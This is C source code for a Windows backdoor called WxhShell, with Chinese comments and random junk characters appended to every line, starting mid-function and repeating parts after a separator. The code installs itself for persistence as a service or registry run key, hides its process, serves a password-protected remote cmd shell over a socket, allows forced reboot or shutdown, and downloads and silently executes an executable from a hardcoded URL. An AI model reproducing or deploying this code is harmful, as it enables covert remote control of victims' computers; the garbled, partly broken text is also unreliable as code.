    if(Boot(SHUTDOWN)) | Y,X=Ed  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XQ?)  
    else { W1M/Z[h6)5  
    closesocket(wsh); 4QN6BZJ5  
    ExitThread(0); v |hKf6  
    } Bg 8t'dw?K  
    break; s t3]Yy  
    } *SpO|*'  
  // 获取shell )-6[ Bw  
  case 's': { wE=8jl*  
    CmdShell(wsh); NIcNL(]  
    closesocket(wsh); 3ks|  
    ExitThread(0); hc~#l#  
    break; rBL_]\$7}  
  } D/!G]hx  
  // 退出 :O2v0Kx  
  case 'x': { \?Oa}&k$F8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?(XX  
    CloseIt(wsh); UW~tS  
    break; JO;` Kz_$  
    } U1@ P/  
  // 离开 )}k`X<~k  
  case 'q': { >?Y3WPB<F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !-Tmu  
    closesocket(wsh); dIe 6:s  
    WSACleanup(); cVt$#A)  
    exit(1); -Z#]_C{Y-)  
    break; .cn w?EI  
        } E"vi+'(v  
  } CX@HG)l  
  } m_Y}>  
|@uhq>&  
  // 提示信息 Hwi7oXP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wn)A/Z ^r  
} .m % x-i  
  } N/SB}F j  
E9NGdp&-Ah  
  return; mm~o%1|WR  
} t3kh]2t  
|x~ei_x7.p  
// shell模块句柄 LB 5EGw  
int CmdShell(SOCKET sock) UmHb-uk ;  
{ Sr-^faL  
STARTUPINFO si; doUqUak  
ZeroMemory(&si,sizeof(si)); XcW3IO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Op)R3qt{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o3`gx  
PROCESS_INFORMATION ProcessInfo; 5L'@WB|{4u  
char cmdline[]="cmd"; (:hmp"S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K LM^O$=  
  return 0; I2!&="7@  
} pPqbD}p  
hB1iSm  
// 自身启动模式 A-NC,3  
int StartFromService(void) \y+F!;IxL  
{ BB}iBf I'  
typedef struct s#CEhb  
{ !haXO  
  DWORD ExitStatus; 5|H(N}S_  
  DWORD PebBaseAddress; MhXm-<4  
  DWORD AffinityMask; c;fyUi  
  DWORD BasePriority; (3HgI  
  ULONG UniqueProcessId; K0bmU(Xxp  
  ULONG InheritedFromUniqueProcessId; ~V)VGGOL$v  
}   PROCESS_BASIC_INFORMATION; mCP +7q7  
+(hwe jyC  
PROCNTQSIP NtQueryInformationProcess; jfhDi6N  
jF2GHyB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #pxet  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #hiDZ>nr  
%y~]3XWik  
  HANDLE             hProcess; h.0&)t\q"  
  PROCESS_BASIC_INFORMATION pbi; Ptxc9~k  
P<oD*C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &Fr68HNmj  
  if(NULL == hInst ) return 0; fXR_)d  
' =s*DL`0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [UrS%]OSR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \d8=*Zpz7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oEf^o*5(  
M(gWd8?#  
  if (!NtQueryInformationProcess) return 0; )Syf5I  
G\+MT(&5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [1X5r<(W5  
  if(!hProcess) return 0; ]uXsl0'`V  
\^Q)`Lqp:g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &^<T/PiR  
!c' ;L'  
  CloseHandle(hProcess); }tgn1xpx  
`RLrT3 4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1T^L) %&p_  
if(hProcess==NULL) return 0; " ~hjB  
H s 3*OhK\  
HMODULE hMod; "!eT  
char procName[255]; : l[Q  
unsigned long cbNeeded; U-N/Z\QD  
b-gVRf#F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ol^EQLO  
833t0Ml1A/  
  CloseHandle(hProcess); mqxy(zS]  
W- B[_  
if(strstr(procName,"services")) return 1; // 以服务启动 Fi}rv[`XY[  
UjK&`a ;V  
  return 0; // 注册表启动 ^d=@RTyo/  
} Jm^jz  
nf^k3QS\  
// 主模块 t|,Ex7  
int StartWxhshell(LPSTR lpCmdLine) 0X6o  
{ qOanu  
  SOCKET wsl; {;~iq  
BOOL val=TRUE; '%7]xp  
  int port=0; _ q1|\E%`h  
  struct sockaddr_in door; LR.+C xQ  
u 9Tl Xn  
  if(wscfg.ws_autoins) Install(); - C]a2  
~#Mx&mZ  
port=atoi(lpCmdLine); sm S0Rk  
)xs,  
if(port<=0) port=wscfg.ws_port; nlnJJM&J $  
M- A}(r +J  
  WSADATA data; hS/'b$#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !~kzxY  
g0$k_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f@g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t9l7 % +y  
  door.sin_family = AF_INET; VAzJclB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H2KY$;X [  
  door.sin_port = htons(port); (LPc\\Vv  
H!=BjU1Pmg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (`*wiu+i  
closesocket(wsl); md s\~l73  
return 1; |`/uS;O  
} EF~PM  
?V)6`St#C  
  if(listen(wsl,2) == INVALID_SOCKET) { N/=3Bs0y-  
closesocket(wsl); e@By@r&nql  
return 1; e8v=n@0  
} U]$3NIe  
  Wxhshell(wsl); M*uG`Eo&  
  WSACleanup(); GjG3aqP&!  
iB-s*b<`~  
return 0; 7mBL#T2   
O,v$'r W  
} JR)rp3o-  
]vErF=[U,  
// 以NT服务方式启动 &o.SmkJI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {xH@8T$DX  
{ .@V>p6MV  
DWORD   status = 0; kMXl {  
  DWORD   specificError = 0xfffffff; E]Q)pZ{Jb  
BD+?Ad?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l"8YIsir  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7 >(ygu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sxtGl^,mU:  
  serviceStatus.dwWin32ExitCode     = 0; 1L7,x @w  
  serviceStatus.dwServiceSpecificExitCode = 0; 5K<C  
  serviceStatus.dwCheckPoint       = 0; 4N&}hOM'S  
  serviceStatus.dwWaitHint       = 0; 2D"/k'iA  
O/nS,Ux  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nt6"}vO  
  if (hServiceStatusHandle==0) return; @d|9(,Q  
m6D4J=59  
status = GetLastError(); (#qVtN`t  
  if (status!=NO_ERROR) N%+M+zEJ  
{ <Z;BB)I&C`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 70eN]OY  
    serviceStatus.dwCheckPoint       = 0; :Ib\v88WIv  
    serviceStatus.dwWaitHint       = 0; F^-4Pyq@  
    serviceStatus.dwWin32ExitCode     = status; @dNbL}qQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; <5%We(3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); htaLOTO;A  
    return; J;dFmZOk  
  } u!W00;`L  
iqeGy&F-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }p~%GA.=98  
  serviceStatus.dwCheckPoint       = 0; 5"U7I{\  
  serviceStatus.dwWaitHint       = 0; Sy~1U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $)!Z"2T  
} r^)<Jy0|r  
v},sWjv  
// 处理NT服务事件,比如:启动、停止 ?|\Lm3%J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h>?OWI  
{ kTV D 4Z=  
switch(fdwControl) Tx_ LH"8  
{ 7Z_iQ1  
case SERVICE_CONTROL_STOP: )SuJK.IF  
  serviceStatus.dwWin32ExitCode = 0; 3]acfCacC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VbjW$?  
  serviceStatus.dwCheckPoint   = 0; ?$Pj[O^hl  
  serviceStatus.dwWaitHint     = 0; ~m7+^c@,  
  { vNIQc "\-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,U}8(D~:  
  } R#>E{[9  
  return; "5Mo%cUp  
case SERVICE_CONTROL_PAUSE: z~qQ@u|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qw:j2g2H7  
  break; KMV!Hqkk  
case SERVICE_CONTROL_CONTINUE: O9Aooe4W=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; syF/jWM5  
  break; (!s[~O6  
case SERVICE_CONTROL_INTERROGATE: jk@]d5  
  break; d<o  
}; 9EEHLx"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `0D+x  
} $)3/N&GXR  
{+;8dtZ)x  
// 标准应用程序主函数 l}x{.q7U l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZfU_4Pl->  
{ @u^Ib33  
43Q&<r$[T  
// 获取操作系统版本 <9"i_d%  
OsIsNt=GetOsVer(); CJ_B.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SzgVvmM}  
ctGjqHo  
  // 从命令行安装 y4') !e  
  if(strpbrk(lpCmdLine,"iI")) Install(); IWkBq]Y  
})B)-8  
  // 下载执行文件 ^:BRbp37i  
if(wscfg.ws_downexe) { \MU4"sXw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PA E)3  
  WinExec(wscfg.ws_filenam,SW_HIDE); L<: ya  
} MEu-lM7v  
KGIz)/eSg  
if(!OsIsNt) { (\j<`"n  
// 如果时win9x,隐藏进程并且设置为注册表启动 $a G'.0HW  
HideProc(); ]#nAld1cmy  
StartWxhshell(lpCmdLine); <FP -]R)  
} Xp' KQ1w)  
else p: o*=  
  if(StartFromService()) ;(V=disU/  
  // 以服务方式启动 *;Vq0a!  
  StartServiceCtrlDispatcher(DispatchTable); m+gVGK  
else cMj<k8.{  
  // 普通方式启动 x\*5A,w{c]  
  StartWxhshell(lpCmdLine); O1 z>A  
=c|Bu^(Ctw  
return 0; -&c@c@dC  
} {PU[MHZF  
]n{2cPx5d  
xsfq[}eH<  
#\}hN~@F  
=========================================== X_h+\ 7N>  
YXvKDw'95  
.}tL:^'~o  
@wo9;DW`  
&c]x;#-y  
;j$84o{  
" 8)i\d`  
,"D1!0  
#include <stdio.h> G 5)?!  
#include <string.h> _?{2{^v  
#include <windows.h> &rn,[w_F[  
#include <winsock2.h> F?UL0Q|uv  
#include <winsvc.h> \1tce`+  
#include <urlmon.h> nP}/#Wy  
vOqT Ld  
#pragma comment (lib, "Ws2_32.lib") xe5>)\18-  
#pragma comment (lib, "urlmon.lib") O @w=  
w:qwU\U>x  
#define MAX_USER   100 // 最大客户端连接数 <a'j8pw9i  
#define BUF_SOCK   200 // sock buffer Z8m/8M  
#define KEY_BUFF   255 // 输入 buffer m+o>`1>a  
LcF0:h'  
#define REBOOT     0   // 重启 G^+0</Q  
#define SHUTDOWN   1   // 关机 b^v.FK46G  
LE7o[<>  
#define DEF_PORT   5000 // 监听端口 zIQ\ _>  
iB\d `NUf  
#define REG_LEN     16   // 注册表键长度 ]Y3ALQr!  
#define SVC_LEN     80   // NT服务名长度 zR e0z2  
+Y .As  
// 从dll定义API ;G w5gK^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R)#"Ab Z'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _8bqk\m+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P?bdjU#_n`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3,pRmdC  
I!bG7;=_  
// wxhshell配置信息 m8FKr/Z-  
struct WSCFG { o}[wu:>yk  
  int ws_port;         // 监听端口 1f}Dza9  
  char ws_passstr[REG_LEN]; // 口令 a1?Y7(alPU  
  int ws_autoins;       // 安装标记, 1=yes 0=no $hA[vi\5  
  char ws_regname[REG_LEN]; // 注册表键名 Qc6323/"  
  char ws_svcname[REG_LEN]; // 服务名 [ P 8e=;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a+ ]@$8+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hRME;/r]X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j3$KYf`T}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f1Rm9``  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #*~#t4S-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wt-)5f'{  
AR&u9Y)I  
}; ]Fa VKC~3  
GLEGyT?~  
// default Wxhshell configuration zhFGMF1  
struct WSCFG wscfg={DEF_PORT, FQ);el'_V  
    "xuhuanlingzhe", Rrsz{a  
    1, UA{A G;  
    "Wxhshell", &Uzg&eB  
    "Wxhshell", A H`6)v<f  
            "WxhShell Service", uYV# '%  
    "Wrsky Windows CmdShell Service", ).k=[@@V  
    "Please Input Your Password: ", _m;Y'  
  1,  M*%iMz  
  "http://www.wrsky.com/wxhshell.exe", nL\BB&  
  "Wxhshell.exe" [^aow-4z  
    }; 4O2O0\o:  
b8>r UGA{  
// 消息定义模块 *ozeoX'5D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZVeY`o(uE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; la f b^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 94H 6`  
char *msg_ws_ext="\n\rExit."; d'PjO-"g  
char *msg_ws_end="\n\rQuit."; q4Q1Ib-<2  
char *msg_ws_boot="\n\rReboot..."; {gzL}KL  
char *msg_ws_poff="\n\rShutdown..."; =EFF2M`F  
char *msg_ws_down="\n\rSave to "; xqIt?v2c  
mlX^5h'  
char *msg_ws_err="\n\rErr!"; Fz-Bd*uS  
char *msg_ws_ok="\n\rOK!"; -(~CZ  
-$t#AYKz  
char ExeFile[MAX_PATH]; {5:y,=Y  
int nUser = 0; &d=j_9   
HANDLE handles[MAX_USER]; YMC*<wXN  
int OsIsNt; |]^OX$d  
vWwp'q  
SERVICE_STATUS       serviceStatus; e;!si>N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g;vG6!;E\  
OSxr@  
// 函数声明 =ejkE; %L  
int Install(void); @"];\E$sI  
int Uninstall(void); vTN$SgzfCU  
int DownloadFile(char *sURL, SOCKET wsh); 8IbHDDS  
int Boot(int flag); _r&`[@m  
void HideProc(void); v 6Tz7  
int GetOsVer(void); !\2Xr{f  
int Wxhshell(SOCKET wsl); tyNT1F{  
void TalkWithClient(void *cs); 7@5}WNr  
int CmdShell(SOCKET sock); 9tWu>keu  
int StartFromService(void); iq=<LOx  
int StartWxhshell(LPSTR lpCmdLine); L3,p8-d9Z  
Beq zw0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z_Hc":4i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y0 Ta&TYZ0  
*e!0ZB3J  
// 数据结构和表定义 ^ola5wD  
SERVICE_TABLE_ENTRY DispatchTable[] = k#&d`?X  
{ )mS Aog<  
{wscfg.ws_svcname, NTServiceMain}, gm\P`~+o  
{NULL, NULL} >`SIB; &>j  
}; V!(Ty%7  
Ak^g#^c*  
// 自我安装 &V:iy  
int Install(void) gYw4YP0Gz  
{ z`y!C3w<  
  char svExeFile[MAX_PATH]; ilHZx2 k  
  HKEY key; iO~3rWQ  
  strcpy(svExeFile,ExeFile); <x *.M"6?  
{rBS52,Z#  
// 如果是win9x系统,修改注册表设为自启动 p~6/  
if(!OsIsNt) { { owK~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fKb8)PDP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z`Rrv$M!  
  RegCloseKey(key); Nyip]VwMJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uPQ:}zL2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y}Oc^Fc  
  RegCloseKey(key); :>c33X}  
  return 0; {}y"JbXMj  
    } 6=0"3%jn@  
  } .Ce30VE-  
} K1Snag  
else { DKp+ nq$  
>hQeu1 ~W  
// 如果是NT以上系统,安装为系统服务 S=@.<gS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yyW;VKN  
if (schSCManager!=0) Qo+I98LX[  
{ 6w|s1!B l  
  SC_HANDLE schService = CreateService _o`+c wc  
  ( ?A+-k4l  
  schSCManager, YzNSZJPD  
  wscfg.ws_svcname, Btp 9v<"  
  wscfg.ws_svcdisp, JvX]^t/}  
  SERVICE_ALL_ACCESS, .zZee,kM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9`4M o+  
  SERVICE_AUTO_START, U@T"teGBA  
  SERVICE_ERROR_NORMAL, L3/m}AH,  
  svExeFile, V{+'(<SV  
  NULL, pyJY]"UHVE  
  NULL, E<]O,z;F  
  NULL, agp`<1h9  
  NULL, GH[ATL  
  NULL xkV(E!O  
  ); sxkWg>  
  if (schService!=0) ? Dm={S6  
  { 4+I@   
  CloseServiceHandle(schService); ammlUWl  
  CloseServiceHandle(schSCManager); w+($= n~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0N>NX?r  
  strcat(svExeFile,wscfg.ws_svcname); 0h=NbLr|S-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0}H7Xdkp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "NWILZwEV  
  RegCloseKey(key); d 5jZ?  
  return 0; *oZ]k`-!8  
    } .^ djt  
  } &8$Gy u  
  CloseServiceHandle(schSCManager); c_wvuKa  
} o{MF'B #  
} 4@19_+3  
 i;B &~  
return 1; pDqX% $^  
} !1(*D*31  
L8R{W0Zr>!  
// 自我卸载 ?TTtGbvU  
int Uninstall(void) d^h`gu~3  
{ y``[CBj  
  HKEY key; f3PDLQA  
Bl[4[N  
if(!OsIsNt) {  /5M0[C E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %  ]G'u  
  RegDeleteValue(key,wscfg.ws_regname); lgrD~Y (x  
  RegCloseKey(key); mk.1jx ?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hw29V //  
  RegDeleteValue(key,wscfg.ws_regname); v *icoj  
  RegCloseKey(key); O?,Grn%'.  
  return 0; Pa)'xfQ$Y6  
  } o0ky]9 P  
} 5?l8;xe`{f  
} x Zp`  
else { gi {rqM  
%vn"tp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KEfN!6  
if (schSCManager!=0) Uzh#z eZ`<  
{ Z;/QB6|%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y]!WPJ`f2  
  if (schService!=0) O1+OE!w  
  { "{9^SPsp  
  if(DeleteService(schService)!=0) { +%Z#!1u  
  CloseServiceHandle(schService); gpT~3c;l=  
  CloseServiceHandle(schSCManager); Z=R 6?jU*n  
  return 0; wCQ.?*7-9Q  
  } '`+8'3K~E  
  CloseServiceHandle(schService); JsP<etX  
  } ~aBf.  
  CloseServiceHandle(schSCManager); (>49SOu;$\  
} 2`dKnaF|  
} C*X=nezq  
ibP IT!5c  
return 1; 3ch<a0  
} >:J7u*>$'  
,{6 Vf|?  
// 从指定url下载文件 )x5t']w`K  
int DownloadFile(char *sURL, SOCKET wsh) 4yK{(!&i+  
{ +L0Jje>Az  
  HRESULT hr; {<cL@W  
char seps[]= "/"; B)/L[ )S  
char *token; @bRKJPU9)  
char *file; e@h (Zwp  
char myURL[MAX_PATH]; h-.xx 4D  
char myFILE[MAX_PATH];  ^t}1 $H  
9QP-~V{$  
strcpy(myURL,sURL); :_8Nf1B+T  
  token=strtok(myURL,seps); ~`97?6*Ra  
  while(token!=NULL) -kk0zg &|i  
  { u_HCXpP!Q  
    file=token; {k}$L|w  
  token=strtok(NULL,seps); *3iEO>  
  } Uee(1  
eC{St0  
GetCurrentDirectory(MAX_PATH,myFILE); 8AVtUU  
strcat(myFILE, "\\"); ?ESsma6  
strcat(myFILE, file); .QU]  
  send(wsh,myFILE,strlen(myFILE),0); x?7z15\  
send(wsh,"...",3,0); 4^Ke? ;v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C;3  
  if(hr==S_OK) {h*)|J  
return 0; -{XDQ{z<%  
else ZS<`.L6B3  
return 1; nV:RL|p2jw  
KwHlpW*  
} XvSng"f.  
icK$W2<8mg  
// 系统电源模块 =4[ U<opP  
int Boot(int flag) Hk f<.U  
{ 3y tlD'  
  HANDLE hToken; :i3 W U%  
  TOKEN_PRIVILEGES tkp; =odKi"-6  
O70#lvsM;  
  if(OsIsNt) { ;I9g;}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5<XWbGW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vw6>eT  
    tkp.PrivilegeCount = 1; WES$B7y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2kcDJ{(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;e{e ?,[  
if(flag==REBOOT) { BgT(~8'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d`UK mj  
  return 0; o<gK"P  
} fHODS9HQ  
else { + )n}n5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "+M0lGTB  
  return 0; |LRAb#F\  
} GdYQq.  
  } EK&";(x2(  
  else { <Nk:C1Op}  
if(flag==REBOOT) { 3#? 53s   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <0!<T+JQ  
  return 0; ;i?rd f  
} G<-<>)zO!  
else { :K~sazs7J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G0A\"2U  
  return 0; ^z`d 2it  
} 3bRW]mP8  
} fg7  
7|xu)zYB  
return 1; Zts1BWL[  
} 1N[9\Yi  
?AO22N|j  
// win9x进程隐藏模块 9;Q|" T  
void HideProc(void) VAo`R9^D#  
{ 2bOl`{x  
aoQ$"PF9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OZ33w-X<  
  if ( hKernel != NULL ) 9#>nFs"H  
  { #KNl<V+c}1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0|<9eD\I=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vb| d  
    FreeLibrary(hKernel); b<%c ]z  
  } ^xgqs $`7  
Vr@tSc&  
return; R^mkQb>m.  
} |c>.xt~  
c^rWS&)P  
// 获取操作系统版本 Zoy)2E{  
int GetOsVer(void) 18Vn[}]"  
{ 6L;]5)#  
  OSVERSIONINFO winfo; ==UYjbuU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p~NHf\  
  GetVersionEx(&winfo); ][KlEE>W2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (_]!}N  
  return 1; _e/Bg~  
  else { 1_ <\ ~J  
  return 0;  Xr:s-L  
} :dQRrmM  
P4zwTEk`  
// 客户端句柄模块 ^f57qc3nF  
int Wxhshell(SOCKET wsl) /M JI^\CA  
{ /~Bs5f.]?  
  SOCKET wsh; MsZx 0]  
  struct sockaddr_in client; $o0.oY#  
  DWORD myID; N/'8W9#6  
peHjKK  
  while(nUser<MAX_USER) i&8|@CACb  
{ 7n?yf_ je  
  int nSize=sizeof(client); h$}PQ   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1]9w9! j  
  if(wsh==INVALID_SOCKET) return 1; eY-h<K)y  
R={#V8D~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %|%eGidu  
if(handles[nUser]==0) QT5pn5+ z  
  closesocket(wsh); =av0a !  
else 4AKr.a0q  
  nUser++; # E_S..  
  } 93Zij<bH?e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B`t/21J  
BY&{fWUo  
  return 0; ][b|^V  
} c1r+?q$f  
PU[<sr#,  
// 关闭 socket ^_i)XdPU  
void CloseIt(SOCKET wsh) b;{"@b,Y  
{ Zk/ejhy0  
closesocket(wsh); s7HKgj  
nUser--; C/QmtT~`e  
ExitThread(0); q)f_!N  
} Bz <I7h  
)0/*j]Kf  
// 客户端请求句柄 mE5{)<N:C  
void TalkWithClient(void *cs) AorY#oq  
{ L N Fe7<y  
j"'a5;Sy  
  SOCKET wsh=(SOCKET)cs; a5R. \a<q  
  char pwd[SVC_LEN]; M PDRMGR@i  
  char cmd[KEY_BUFF]; h _{f_GQ"  
char chr[1]; ]8fn1Hx\  
int i,j; L"/ ?[B":  
)bR0 >3/  
  while (nUser < MAX_USER) { BWvM~no  
iC5HrOl6U  
if(wscfg.ws_passstr) { .d r Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FZO&r60$E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h`n '{s  
  //ZeroMemory(pwd,KEY_BUFF); lVQE}gd%m  
      i=0; (9oo8&GG  
  while(i<SVC_LEN) { j7MUA#6$  
!tt 8-Y)i  
  // 设置超时 Ws7fWK;  
  fd_set FdRead; H la?\  
  struct timeval TimeOut; u z7|!G!43  
  FD_ZERO(&FdRead); C0 KFN  
  FD_SET(wsh,&FdRead); 7Mq{Py1  
  TimeOut.tv_sec=8; Il9xNVos#  
  TimeOut.tv_usec=0; Y,GlAr s4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CQNMCYjg(R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <tBT?#C9+  
9 " t;6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z@,(^~C_  
  pwd=chr[0]; Z$g'h1,zW  
  if(chr[0]==0xd || chr[0]==0xa) { X'<RqvDc5  
  pwd=0; VBQAkl?(}4  
  break; l"(PP3  
  } Gp \-AwE  
  i++; MZ&.{SY7  
    } k(pJVez  
1;1;-4k7I  
  // 如果是非法用户,关闭 socket A$N%deb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6IV):S~  
} &Z[+V)6,,  
#h^nvRmON  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (3mL!1\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p<(a);<L  
@'}2xw[eU  
while(1) { ]7cciob  
@IsUY(Gu  
  ZeroMemory(cmd,KEY_BUFF); xT_"` @  
|" WL   
      // 自动支持客户端 telnet标准   S9P({iZK  
  j=0; oJ %Nt&q  
  while(j<KEY_BUFF) { wW p7N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =1,!EkG  
  cmd[j]=chr[0]; ZP!.C&O  
  if(chr[0]==0xa || chr[0]==0xd) { 3e;|KU   
  cmd[j]=0; /KWdIP#  
  break; Nwt[)\W `  
  } n}F$kyI  
  j++; fo+s+Q|Y  
    } Y @'do)  
]T'8O`  
  // 下载文件 "i(f+N,)  
  if(strstr(cmd,"http://")) { \ t1#5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kJJiDDL0;*  
  if(DownloadFile(cmd,wsh)) G-2~$ u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$6L_C4B  
  else p@% Pdx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e-P{)L<s5  
  } &! h~UZ  
  else { )L6 it  
 ..E_M$}  
